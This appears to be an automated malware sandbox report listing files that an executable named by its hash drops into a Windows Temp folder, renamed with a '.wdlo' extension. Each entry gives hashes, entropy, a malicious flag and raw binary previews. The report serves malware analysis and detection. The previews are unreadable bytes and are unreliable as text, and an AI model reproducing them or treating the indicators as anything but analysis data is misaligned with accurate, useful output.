Preview:	[2023..7N..p..8..E...F..E..]yz...:.N.a..Uy~.$]!..e".hY.f}.Ih#..H.1.A.Y....a%F.].3.Yc.G60...g...G.CU...&.o.4...8...=....@`..W..?.].i.s..9.d...)..T...'}.......5FP.ZN....h$.....e.B7_X..7;..m..8...u..Z ...j.).....c.S..{..w...~eg....x@.....R....d>gb...w`i........C.4v...F:]....E.G>..A..s.G>.}.\...z1...j.Q.@.u. ..A.l:%...j.\...Z...I.. .....b.,.......R......./d...D.z..-.r.+.....'sLUL.....c....v.+2...v../....&._.QQ.8...... .-..1.........a.q..g...0N.O._.mj..uy..z..ab~K.....f..3....wf./@^G.......f.0./........Fy....)..v.i.#G.-.q.t.}.o..M.....Ps.Lt.)..;.=......E:...K.K.f.~]O.j."x...... o...0T.\.oq0.......A.......l.US.... =..P..1....!V.fq...."zF.v...D.x...KB.C..V. ..I.s.j.b...D.R<_4...[%../...;O...oN...~..u.B..A.V./........v...jlw.G.....&...f.g_K...OYG..."..' .x9..]Z......F_..q..P).^..F..?.tX..~@v.Ayr.?..fz...T..N1.8..$.......Zj..D3.<.....e...`..u..V...r{F.r]....D-..B..hbv..)..KX}......S#..;.9.&O.......a..v.cI.7.....o.R....WXi0fXrUHVihm5xsI

C:\Users\user\Local Settings\Temp\msedge_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	12246
Entropy (8bit):	7.985375712172175
Encrypted:	false
SSDEEP:	192:gAiRQX+5xcXOu/zfccE0crkX2Us7JL/ULD96bflM16rkRRGv11DuJ49RZN:mRQO5xmOUzUb0crTUsVwwbfG16rkvkdh
MD5:	E26EFA0F265FAE6EE2BC21E802922A42
SHA1:	C49F2887B038BDECFEE2A5149AE98841233F1C17
SHA-256:	1A79A25B319E7FF120B6AA5632CA3891794C7AA6064187D7A5A31AF17C04FDAC
SHA-512:	337952A3D7EEF31B2F1964CA93D0F0DE5DBF51EC2AC55A938CC3B5956C9E52769821114C6B9DEE062172A413FEE78DB01EC1DFF5EF03A8CEA266C0D66B4E2454
Malicious:	false
Preview:	[3476.lU....B.....r6..1......!j.....I.P%b.ty.u'm(.....`...X..2........h.6;.w..!.sPd.Pv.w.n.....[.......,B.0E.X.,..dL.F..........A...O...+.:..]..5..]...`.'._.._+...Po}...)....Q16...5.^~..i...d.;......eu.....o.6.{....Q?)..u.@(?...3....~y.5wL..K$R 7.=D..?.;O.F,.^.TH.7.F...X>.[>.a.P.....7.g.?..}g...........A.....>=..5e......F.....H\G.gW.nr_o<..X.!..iR.-r._.......]}..zY,..4...h>vY#..D...P......)L..0..Y.Np...f..4...(.c./..o.>....7.!..u....%=\...R.E.....U'.F.t...Tw..3.C.^...G).. R.en.v.F>g@.Kr.....B....Z..\|7...~..O....r.....l....Qx...".kn.x.....xW.~Z.hi......P8.....2....9.\|\|.....(!E..K...b.<36...#<V..e.....v.5... d.....5.\|.M..@...!.../A.^+....`0..ceab.0..&.E%..Z...y..s..g...D.A....3w.....\`..T$.......`=.t/..U.w......k..@...Lc.j.h......X`\ y..@?.:...U..J.$...z......h..........=nE.4.......=..%R...5:,.,...x.J.y.Q..F..}..\|q..).G...DP.n..5..Y.....h.....>O..q..2M##.BXb...\|.~w&ZC\|.....o>k..0:U`... ..8..F{..u.Y.9...E\|B....cK}.h.j.,k!}. $....6\...k.

C:\Users\user\Local Settings\Temp\offline.session64.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.996867849302434
Encrypted:	true
SSDEEP:	768:YxR2Y0RjK1KSGT4DLYd7GQVzQtQH0dwmfe/nFw0AZcX4AXiLwJysjEMVKlqd92Nw:URGTSLYdltwQHDeBANnlV3oaKtVpg
MD5:	D20A2FC1B8F4A11368CCA033714CA4A6
SHA1:	1B539773C6F14DFC6615C5C2C67CE15C84B343AE
SHA-256:	C920DB750DC743E58AA794BACBCCDEE688906EEF8E61BC3A4AB053D28C56809C
SHA-512:	99BA12CCD16583E8EF5D66A0712B8D25EB27E5FF71F46FB0F18419ACF91A68FA4BF34117B90DC2D121D2FD199FE83666BA8401303861133AA9649A7CA4080D19
Malicious:	true
Preview:	1G.f.[t..P.j..X.j"Wu. .4.{GP...A.MRW.>AU.0...m\|.....v........-I+!..k.}..T...S.G...e...{......2....G....+....D....\|B..f.]z........6.t..D.....ys.f..D..v....e=.}t...s...!..Dl.c.c}.bX.G..<......U....".......{.......].\|wR.3..9...eO.^,..-9..k:i.~.B....u.....Z~.40q....0.z.\|...y..>.....zk...Y'...VM..a...u.k.s.\|.'..P...+7+.84 .c.......E..}U....k...{......8{G./.F.~.........!:.5F\l..x.N.#....SY...:.\|)..>..z..K.J....R.....G.h..Oc..}..'n.(a+..l..p.M;7y3;M.....)y..T;....d5E......o.:4R.u...".&r$..Fx..m..?...]"M/I..b..z....-...].!.{...>...O5....Gx~.HQ..xD.....fX.L.h...VHI...d.x..e.3..J....7.q.E....udT..8......@.....B....!.....T.9S$.f.o+.q6?.c.%%..{R...?....R@..$hRe...@...8........w.d5..2....2[...DJKGJQ.s.8......q....5..%.u..!]...<....2wt.0.....+Y ..H7.#C..<.......bi...kt...t......A$DZ...{U....H-..;..8.wQP+...=.....^....e..qCb..O*..d.zr\|..Z..2.8pu...o.B3y...YN...y..WG\;....G.....d.{..$.{..y...T.S...]y.SE..pF........e.....k.>,.?.W...;..X.K.f.C.)g#[.[yY0

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.797135729656602
Encrypted:	false
SSDEEP:	24:y6sKef0GbmlsZqydBoNnf/UuDtOYKBLnOibVprLuGmQ3zbD:y6Pef0GnZJdBY3UStOYkqixJLuGB3nD
MD5:	AE2EC1D28F375B222182083AAD1B2EED
SHA1:	5F1155544E79C95BCCFF336556D83353DF64A67B
SHA-256:	1E2AECBBA90E96D21D4828A974B9246344113D1204F5AEBA7D2ABA7FB594BDA1
SHA-512:	4AD8F5281D47701CC3A3994B9619C70CBAC4C80DFB8F682FB884ADD2A26664F9F40FD86DDD8A4D86F0E6CD1BE4C4E5C6913FEA5656AE1ED1A19AE2D9FF3CFE30
Malicious:	false
Preview:	RNWPR\dKX.....C.b3.....+?........lzTK0.A.8tK....=...>.t{mW6d.1.....pzD.g.:..>...O..3..8...%......k.d..;...e......Z.6K.j..?.......u..y..9n...UH..5.... ....]nd..$..HFug....HAIS..2y..d_.....Ju..{Q...CI..`.&.!a.~..\|.:..O...LL1...........`....a....eY>...6.i<.T.W.lNc...>P..wjR=.UZ..~....[p..{......{tM.!QN.Vy..N.-.P.+pvU0q...n...!..dH...5f..p.=.Bo.8;"../it'......d....@.-.....q.P.!.....,...T...K...,......T3......a......vI..v%..O..lk.:...~.%..-._..+.7XM.....-..^v.}d..>.Z...F...@RiE...g...8J..U.=g~........:m.Y.F.L...2...p'....Kl....?&.-..>...,..Hy..T...\_.2..d~..B...._.p/.#4.~.6zc.s#L..B`6.....G.8{.R......D,lH.s...6.T.S}.B.8h..(..[.....E....E..5.....t=ql2.\|.z..../.....A..'................>....".B..N.}.`P4...5..b...Y..Hg.J....*.H.LP.o...;..y7.'=......t.$..d.B....j9q.."UoKe...8.,..j..%Xf.Z_..^.....8..c.!.Y...k..8........=....D..1>z..e....D.M..G6cB..A..o\..s..+)q1Bn.SM(:...v.\...=.8..s..Q.l....8).kL.....i0fXrUHVihm5xsI9Icg243YMPJqd748Oc

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	662029
Entropy (8bit):	6.820469398048323
Encrypted:	false
SSDEEP:	6144:EObSoNPt05Wx0tuA3THaVE/JM90LOfjdQbZzYWClaQbR1rDkQseHEHFVtJ4khrZn:7WM910LSybBObDkYo79
MD5:	ABB1A984959CF6F321083162E8BE91F0
SHA1:	DFE4CC17B12F242DF7B168BE8CD37400793E2881
SHA-256:	E4724084EC4D8EE9FA1AC4DBD7330FE27D03B6AD83ADE3B6D6722CEFC232969E
SHA-512:	A01A534C0AB7E7DCF5EB8689509EEBF1A0D78E04D3933ABB17BDFFD99E6E3870B3C0FA0DB510AC8F378C1607361BC2BE3017EFBA6970C7AC40B050882BEE4ED1
Malicious:	false
Preview:	RNWPR.l....NO.k...7E......?a.^r%X.x]..S..@3o...@N39...7...e..d..J.E..rj...A.PJ.m..L:{.[#..p........M..?..b.........r%......).v~."#.MS.NN...jV#..Eys.(...UA.....P.......:.......b.A.r@N..c....m.N....9...p:.P$%<..(..D{....E&\|...V..2...T..x.zA.9.....O.!..\.a:..S.{..1..V.s.Y.fp:..o..!....%X_N.HR.Nd>$...5.V...U"A.N-q.O.A...$.+AV.X]aY0Cc....}!.+8.jy....^.+W..f..X...h....WIC...6.C..F...$K.K.hB..\|....Q...d..K..n....N...}K....,0@2. .@1o.@...:._"..7...IJ.B....[.;.OP.$....O...+H...R-..1)...Us.\.....PjGt..[.P...C.Co..... y.(.Z..x2...B..'.Kax...Z...+.....:......N...L\..g.!.XQ51}S..n......2z.[`.b.~....2>...%....(...<ib...b..pJ.v3F.........x....&Y=.*.M.....m[...$^A%..%...5F....e+.Q}Q^8...matv....q.b.t..........d.hZ...AR4..X..../.p.O@oX.d........Ri!@..~..o.s.a.p..`......u..'uwe!..G.8.'..5..Q.o'....BB.&E.j.IBJ....P....=5Q..]...[."....3..s?!..F...a...S%w^.....?;.fw...9..q.i...>1Q.L..1..Ia67...".....+..b....SW...X &..x........U{..c)J.t.[....R...o8......\|.

C:\Users\user\Local Settings\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	193301
Entropy (8bit):	7.870311128927681
Encrypted:	false
SSDEEP:	3072:Y9wz2xLuQydo8vcKq2v4CB1530lELozU7TOfiw2KxiKwthrqQiY6v7G1rElDbJ4i:2580QJyEh3KO7rqQ8wW8+
MD5:	91A09972EC4CD5FC8B540376A61DDC0D
SHA1:	322E0AB23555E5FED53DF093DF276003F6F86A36
SHA-256:	5A819C89EC0DB810CDD3E4495C140FCEB1E4681E071A53946D197BD7A227CCE1
SHA-512:	5EA6FC845BFC58340C248132D8E5FF61BA6F061E1349A3034066623182BB211BE62132F81FBBDEFF010C17A69CB61B0D6E93AEBD1F7AC2EEA396D370207838C1
Malicious:	false
Preview:	RNWPR.+.4.q."..7...w..!(..14.uB.....K)C.C~6..Z.xF.....xF...:G..!.7&i..0.2.......W.M.6H.]p...........6..\.Q\|..K.V7......I...O.,..l.c..T..:......b....K8.\|..?.}.xX..i.a"h.......~.uY.....]#...... t...$....M./bR.4.T.Q.......I.a.b..) .....O~..Cz1..O.#j.A.....Zl......"+..qg.E..z.ACn...T.]....Y..T..M...fJ.^......).1.O0!.FG.t...,.W....#..A...!S...9.4 s7(<....ur...i^..=).F.L.@..}}.0,2....J..)...........].)O.Q.I...\|......GP....lq....p..s..8.y.^..ho\.)f...s..k.P.....N8.R3.^j..7.z..#1o....w.....6...ON...8[q....\.E..JY}...GW..C....d....#.Ni....%.~.j6.+.."..t.s..]...n]..ruEt.8Ff....L...K.Hb.....m.l.w..+...'.)........x.3.........z..kY...b..:.&.......#...U..2.....`.j.].....<O..E.Op..gI.MEd..Y9\T.\..n...y.Ev._w......\|..T.I.F...o...Z..d.+x.]...)Rk.[..m..N..0x..'........... ....h..J...zS&.n..1.O..\.....o..(.V.,...f.M#p+0*Ry........tD..._.x...(..E...W.@.D....m.....dL...I\|w..%..Wh....U=O....&.PPp....E2z...3.......".P.Vl.m.di>)....p+A..(9.r..;.]ZD.

C:\Users\user\Local Settings\Temp\prep_ui_win32_bundle_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	240217
Entropy (8bit):	7.547775018932331
Encrypted:	false
SSDEEP:	6144:ZPwNrZyVeLRNdLJw7XtGLuHSaF1YUQHqBcbJJ8IR6:ZPUZee1NviXtGVTUlMQ
MD5:	DFD8F82DAD40A818D0ED036E1CBA7B6E
SHA1:	67430943AE298FB7180A1644EE29558A04F69939
SHA-256:	EA9C79CFEF5B3EC755700362159821B25C52ABE05940C5E544F1B2CA6C971818
SHA-512:	500782EAA12F7636C75D238D6A75F199E2E87516E4248EFE73B9CDBEE158C39505374F7970B7C7B7AC4FAF2FCEFC295F39003FA63E55B702F691AADB6FC96B76
Malicious:	false
Preview:	RNWPR...U.=...p..v`.w%I.,Y..Hs0.......I\|~.....Z..G.nbk.\|.k..a.....@.A<.a.,.yU>L..f[bD..:.AG.....p..1q...#_..zc.../...5d..g-'....k...JA.k/......t[...Lg.;..I`..lk#.G..c..."..\.........7.A....c1Q...U.(9.BI..hm..t..P.:l.&.R..~.........ll.)6O.`.4...4.....S.j.mm......W.>.....0...3.n"..:6..f.....#"..s\....=.Su......`..(.....A7~..s....%E...p......M.=......9.UF8.aL...V..&.:#.E.5..v./..pF\..#g.#....(.N...\|`...J....\..L~k~.F.`......z.v.CW.....3P9....A.z2e...[.[.....X..A&.,]iS6....('t..Z\|(~MD.../..T..~.iW...^.U.T ..E. ^.lS#.f...9.>m/x....c..%.".`;..N.....N._.&...?..k..:q...W....].L.n..0.*?..{u%......2.a.0.]Z.W.......s...s.\C.../....a...@&.`......a....q....D..W.!I...w.z...)....iA...aY..s.0e.AcLO...:n...;z..5......Z..0...:...S.....1..'.Fr..<....k..0.....1..g.....Mu.a..yVs2$..4i.eA+%X..@........8n.`..~R^V-;K..u..5.x.5,........F..v....-V.v../G..1]<+1......?g....^..e!t.XDn.t....)4.c." ..?...XnK....\|..H..hQ..V.,.x(.]....6&..a.._.i@..G...t3#

C:\Users\user\Local Settings\Temp\tmpDC32.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	793422
Entropy (8bit):	7.614769118692331
Encrypted:	false
SSDEEP:	12288:m42H2SiL6+22TRzWQs9YC3VSZyw3cZY+0SOjwlXLzHYUKTOsh4:hyRiLr3TRzYz3VSZ0ZE1MlbzHYBOs4
MD5:	5825686598EE60B04D6D033BB7EA4760
SHA1:	10C8EDDF9671C8BC90CB89478F1CC3BC1BBE83C2
SHA-256:	2752B95429FA63B1D20EB1A9512F96557A7308F815210DBE98A606DE0E6B2A6A
SHA-512:	2FA6D9A581DED50B76E2BD1CE05E291713B116505F5D31E3B8823B37679FA6CCDD636887D75E0E1698C1720DDA32AC1C7E2D6B861967C9A5CC450B702CAF02C2
Malicious:	true
Preview:	MZ......u....K.H..1.6.Xm.YU.C..'%U.nS.!RA.....:f.dU.&.f.y...L.2)!7.q.\|.~GO......I.h........> ..2.D,....EX...g3..\-.:).\g...C.......&LiPf4..,7......=....1_.~... .r....'.......`-!..s..A..!..;F..k.^j..o^.p..}..:in6.p..'6vB...?}N.d..qz.HY....r.]O-.O.d....c?"y...=RU...E0X..8.Yp.m...s/M"k.iN~....NV^.6b......-.....3.1...>..:....}.......>cu..X.....0#.D..n........`x..6.._8b.i.....%.S....@l7.OU..p..O..>./f.(Hc.....6..qC[.Q..`&T.......7[...{p$.v....7...#.v.WzG..Ulh..R4G.Z..A1.x.+je..P....Q&.\...fa.rh.L...Gk."Ow..m....k.;....i.......{.U.:i,a..0....3UcA....O...z....h.5.".8..^../.n.\|4..q.<s..>Q~.....&..CAC....4.;uHL....;..7.Q. .1..s....R...xJ...Pb..........c,.....n..\|....f.r`.T.X.M....'.......32.TmH....n.-...{....{w.N9.,..'..b..1s.....4..^@}]...m..r~$]....O..U..3f.8J...0.7....h.6}0G.<;.h.....]..M.....b......d.y..v...}v >&.8y...V...p.r..b....e...V...(.?..u..`S.,.8.I!#.+.u.b.'M........?..wf:....jAB.. a..f.8.<..,Sly5.;........J~w...:. ..`.8sEX9.

C:\Users\user\Local Settings\Temp\wct1451.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.997610684331055
Encrypted:	true
SSDEEP:	1536:RYw6dc5+wsim2X9ADS9fGLbGhocbobIM3b2kYy3jwNKHRhyr7mQz:RYw6dc5l62fhocbokM5Tj9HSPF
MD5:	51DFC8E5B8DA74BDC92F36D89A4A2FE7
SHA1:	0593AD75426C2159E7665147EFB64A15220047C6
SHA-256:	74741ED34A84D0A18AEE0E8A06F6B9EC79665A737DD9A3D03CED8DBB31945C91
SHA-512:	225ED755C742E2D30E72820EE0B88E190A8E510F645D25A0501A82A7FADA39D0311FE51DB9A9CF44B6DF265B63C002EA0C4205BA192F5BD53F1D1EF6E06047D9
Malicious:	true
Preview:	{"ram..>..w..Bg......r..c..eFg.lt?._i.....:......".....90.:ydu..1..y............&#..bf....i.o..~._gz..2.W.o.t....8..K...0.......m.......JW0..............Y.[.?@..].m$(.....t....(..:.E3.8..pA3<=v..}c....".j....?..W.2..n...s7...+....C.Y.hG >..y...x..-SAX........../....k-".x..[P...U..J.n.51.l.'..+T..NC.@........Y....?~.r4......Y..D.....]........8r..3.l....@.:...=y#E.u...Ol.5...%...2.U.i4.X0...t4V.\..T.....x.+..v....MJ..S.n..s..pRW..J"..q...GR)..W...:..+..,..._...V(.[..zz..fZ..YCr..q..+ dY..^;.R.n..].z.t."..G.U9..?O..`...B.'..C.1..G.r....M@....c.....E..k..U.F.?..'P.P.H+.G-Y..6.g..gT....9..;.t...?.A`>..X.....o....5..^.oP}..<.Gs........2..@..XI.=...^.\|V.ED3..SF.......CM&...Q...\|+%..S...}...!(...>...3A....:...7.5T.`&Ta......fE...).U.o...J.7.B#....S.o..%h....,..7....\T...\.ga...e.{T....F....b.e.......J,....B.i..........mC.-.....t.#.aM.t<.k.O...A..Hq..qcA......h..\..<...r..A.g:...... .8.".b.....U.c..-.2..Q.`@j..].3i.u..xZ.Yxo......A<i.n<?

C:\Users\user\Local Settings\Temp\wct3DC0.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997047242145848
Encrypted:	true
SSDEEP:	1536:sFcVz75DO7dzbogUc0luWuxbwoCsCRuzDLUuf:sCltDOmkxRCRuzEuf
MD5:	59F406510E646ED374538358043F4BA2
SHA1:	6898E71FC8015C205B342C9C7DBBE9C4349E0ADF
SHA-256:	9E7F29F328E0739C8B2AEFD31B89BFC15BB193F7D2A527591BA8C57955323170
SHA-512:	13957F8769BC8AAE4BD45E428AA61571AC5C1E944CD2BC907FDD69E8B7C52C5FCA17C06FEF017AA6D10DD7FC356369E260046F61AB668BB50B355FCEF26E1C6B
Malicious:	true
Preview:	{"ram.9.0....{s...V[<.mp..@.;.y.#H).9[........k6..=.".....i..uS...v...1..D....r.r..&_I.Z.A3.......0R.......A..]^-..\|..P......qm_..S.....ccb8..{...]...}p.....#....&.2...UA..O.Q.^...\|A6>.T...?...i...b...v,.[...@N.e....ml...MXtEA...I.ds...F.c...+_.p.9...S.B...Zb...Ud..1..c.....J[nM.xm05.Z..Md..[..x.b.4.EdG.\|.3.g.Z.?.x.$..l...6.u...........}w..;I[..nd...C....J<._J'.....GY.z=......u./.p$5a.Fu._AK_y.h.a 2...F...(..i................;c...q..Y."E.[.Y.".....f:.(e.....a.f..#.9.6A.:R..9.m....HhU._.M7b`R&`.Y...`O....r..yw....fP....l..u.PTnvV{..@.%eg...S.9...x....fQW.d.._.v.....09..@O2(5.P.Bx^Kzk....`}..c...i.\|....u.H.t...\|.....'...,...m9..v[.>_]..Tj...:.=....<.N......Z).3...?....1..%T.=.k1V.........Ny...pS.o...#.=...ee_4.^m}Q.w!.@...._.A\|.%.I\...P].-=TT..j.........r!..<.\|.$.n..~e.._.^.}..%p.~..L...d...GVL..@3..c.....;.Q.....=.L9...ZE.1.8.B.......lI..8.]{3....d......]....Fs..&Fk\ep.b.NQ.A=.FfW...a.>t".....&..T(.........B9...vw...V..aP..i

C:\Users\user\Local Settings\Temp\wct4E00.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997313711544876
Encrypted:	true
SSDEEP:	1536:WHfOAvi1rS7PVo/f/w7K/nrUPBq8+wbp2u7:cfNi1rS7Pu/Hw7K/rt8zbp
MD5:	09CB5DF36D4512115619C10F5CBD70A2
SHA1:	661AEDA5742C8788D81DD7B048663517547FD60B
SHA-256:	0E94736AFB7E2E978167572C8EB4B796567658B431B4F9FC3C0D66C4EEB50336
SHA-512:	177A00DFDD6A2448C1EDD778664F3C57535FBCF73268CE633FAD645C8D6B6B02FDF4792DB5C9DFBB718F75046331ED548F97D7F4A37F500ED0CB1FD23F94C089
Malicious:	true
Preview:	{"ramw..W..1\.8/..b....s.........N.Y....-!aP.r..\|......>...."....t.6_....%7..K.6..(#%I./...3-.y.B%V<.\.........B....6P.^s(...[...0..;.b..!.`<..5s.....&..3Q.[$..S}.c../.N.....W..D...M...l....w'.d^.M../....bF.m.GJw.....HR.......C...y...5...G.l..C.g.~..\|I........7Z~xX../.aX..p.5R...t.d..i0.....^...b..U7+u+.4Y...)Q....1..EJ..de.;U\.~K...@...58)l.9..Y.-.D.[...bvc:...0..j......M..n.C.M<.\...b...Do..,....q.\.k...l.[d...k5.y.....u....L..Z(8..K....X....]......O.0......6...3...3b.s..0..^D .W.ir.$g...xN.C(H....81..H.2&f&.....\3...,Pp-.....=9..cB.6.5_.).j..D.........K.o9H1K.m..6...tA.......0...&.....-t.q..]xc.:.........I.p........8NNW-.bK~....".C.h.y.4....m.7........>....-...Lcj..l.....N.#y..}KU.y.....;...7.B.......G..Q.?.<...Z....l..\.....N,.V...w....mJ....rDU..sn...)f.j..Y.....v.)E.......[....b....;..bL.....k:i.Y.0..h..X.l.....!E.;....h.V..N.cv'".9..Tm.....^j...ar.?...k.H.3......m.Q.OPY....l.i0.....#...h.2...u...3.w....-.*i.\|}.\.... ..

C:\Users\user\Local Settings\Temp\wctD87E.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997452466477837
Encrypted:	true
SSDEEP:	1536:ySArfVL3tOpw2r63Sj4SU5GxhiryOFJrvpg3L:yH5L3tsw2rrj4SoGxAOqbgL
MD5:	8D25F62C539BC3ADEB3A1621FC3DEE14
SHA1:	A40202D6E5630DBAC9BAE4F7F4B2BB68C7AF6279
SHA-256:	ED559615406A17C654EBAE9703F2376C019380E81384FCAAE88969A11C7031A7
SHA-512:	C365895BC9AFBE926C3827A16EFDC254F43F35966E320806D41AB0E02D53ECD6D65DFDE307F7A755945133E37D27326BA17896267BE94A092D7BB4B70CE7012D
Malicious:	true
Preview:	{"ram1T.`.].=...?..5..Aj$.G...n.H..Na.e......c}2..\...W.&..R..e.z]y...I.i&....b.9/.....h....%4...".#pu...J,..i.....t...hu.x(0P.....qW-.F....J.....h.:...`..Y...>B..X.....Ky.MO.qRrX.S......R.Qm;..H..{{.'....Q@...i.6.L.M.....G>Cc.E.\|S..7..^?.y....Q...\|>.....p".P._P.r..]......}.....t...8I...@.b..b.(.;.I.W!...d6Y..M.K....s.....s.\|E.dK.'...9!......!.f2BDEf.9.>...u......E.Z.o..z..bH.f~......~g..r../f-....6......D.W.O.. .......y.2.(..!\|8._....C_(M.?..U.^.............bfS..Z.`.k:g.Bsb.1..;......U4..XE......'A.,.....d)."....)."..T...U..~.B8.1.1.o'5...k...`....K....... ..YfN..]D]..s.MB.^.yP.0~..c.m.........OX..I-&A......q..=E.m.Rx..W.`...e.6K..U..}%y.1y"j>.\|..q...S..u..#...W......9.....S..u7.....].C...0.O.F].Y.......]....).wH.j.^....QFt-RW..*.{q7.......`.W........HJ6...7...5.f+...c.z?.VV......._....5.H$.00..B..).....y..O.......[Yc....:3.....z...;...L2.T...j.m.]..#..y.........B......DG{....6Y..\|......0."I. ..Px..l......7[eAL}.GC..8.j \|...Pn9r3)L..^....4..

C:\Users\user\Local Settings\Temp\wctFF6F.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947663047937602
Encrypted:	false
SSDEEP:	786432:0wQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59g:xQcWxDMPnN+dk65gGUjku4vNjLjg
MD5:	7605C8826D37F857CC1B6B6262EBACAE
SHA1:	EFF1ED1D1EB2AC54B7547A262C6D714AA56746A3
SHA-256:	F07BA0CF8DD4C41C366530CF2EE866BCF52A5C5A1EEF7809BE4752E97BED59BE
SHA-512:	5793AABAB106F320FE992F5514A1C79A74731808E4DD55C28A820E3201F4BBB1C09A4BA8ED33EC739C11FF988B4C084F9FE8930D14C8CD10AB9AB453BE16F2BB
Malicious:	true
Preview:	MZ......uOi.Xzw.D.}......V.......?..@..<q.;.:............98.S..._.......5O...?.\j..e.?NE.^h.aj...}OE...P......X........(Bn.K=.M..`J. ..S..H.?...R.D.V...4U.?.]..z...H.....d..S#........B.q.$Y.&O..!pX."\8...fX.A.....3...c...+..E...._..>5.....{..1..(..l..^..aL.sg....".~..E...J..C.V?s~........'P.9..........&B.z.~...1.3-I.i..@...Q..."...... .J!./.;7....b.B..6a....,.-.\|..Gn.^.;Q.."%K..5{+Y..K.7j..7..G.....N.Q....f...W?...>......?4....\|.......B$.8 r..5..k.'.Y.Jc`..z..6}g.....z.9...'d...D..9....z.*...... .I..Y3.^...7.\.]D.V(.D..x....8xD.~.09..K.O... $s..My.W..W....;v....a..V.kYf.3qK....b....R.sZ.3=eD...l.9...%..$.4.....i.9.X.....P..{i.A....I..}....L....zU.[U..j.....p.P..<..X/....E_Ox........F.vs+....8d.......H.....,.!;X......x..."..^...x......v.0Nj...).j%.8..Tj\|...]....l..E.t._....Z}....D...u.p..}...h..sh.9..M.(.@.....y.].%.L.U ....;....c...zK........%s..5;...Z.?.4...zv,......O$H}.q..v3e..[k...R..p.(..........^.......w..d.....".r.o..!.S.%......

C:\Users\user\Local Settings\Temp\wmsetup.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.802280501232215
Encrypted:	false
SSDEEP:	24:tW/W4kiX2TvolDanzwX01Lbkd/HVYGtehativSfvmx3zbD:M7kW2clDEsX01Lbk5VYGRtiYs3nD
MD5:	6AD2A4367ACB57CC0A39FD04E1E5F7A7
SHA1:	5FBACB178F2C95F7EF6A5B292D6566F26899490A
SHA-256:	9732E44648AF061C24EC77FD47C99A80BCC96A30E1E412DB09CB0F041ED8C030
SHA-512:	214028AA58938239AC9458E63E2524DCBACC0D5AA0C5CEABFBAA73DD25A241F10A27C50DBC8A81D910A35661AFDF7BC5E68A9E22419792B366B125C2D0861376
Malicious:	false
Preview:	..[W.....96....@A.L....6=.W..?.j@..\{..=.Qf.r...d.....i...:.i...6...=1..'\. .'..IX.(r...v .X..>...J..I....CT..q..K...w.g.N#.=..05...p.zxG.@k...S..Y.QYK.....[eq......../.M.@(.~.I......o.ceI(.p..3..b...-...E..I$..vL.:.>..X..&h2W.B.......&:..Q.k.'X7(wc...an..@QNB..L..E...Dq...Nqz...M".......$.y..V.`]3..L.....(...iW=....9.__G...\......r.....R,>C..Cn....?...CV.r....v..>....n....j.......=/9..>'.....B2....v)..+..3M....wq..ME...%.L.o;.(..8...=.....CP.InB &..V..Y\Wm....b...8:....B0..1.\|.......6.K....5..oc<...M$.<c2va><%. u.I.y\|...].b.b..x.A..#.n..[..r.?w....iO.".e.[.....5.j...........z..g.~..I..&=.H<.W...u..I...!..z...?iC~..<.K.a...I.f.-.z.}..%..8..].b...C]H.l.....Z.S..V]........z.{.....E:.@U.....nbZ.......)..~EB]1.......Y....;.......$....a1..C..\|H~MG.'....M).8p]..."l.0..W...%.Hz........d.....?..?.....#...w.do.S..P~....I'o...0`uY.....:..._E.^..@...........}...F.EEj.K...,$n'.<_9.C.yAG........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698

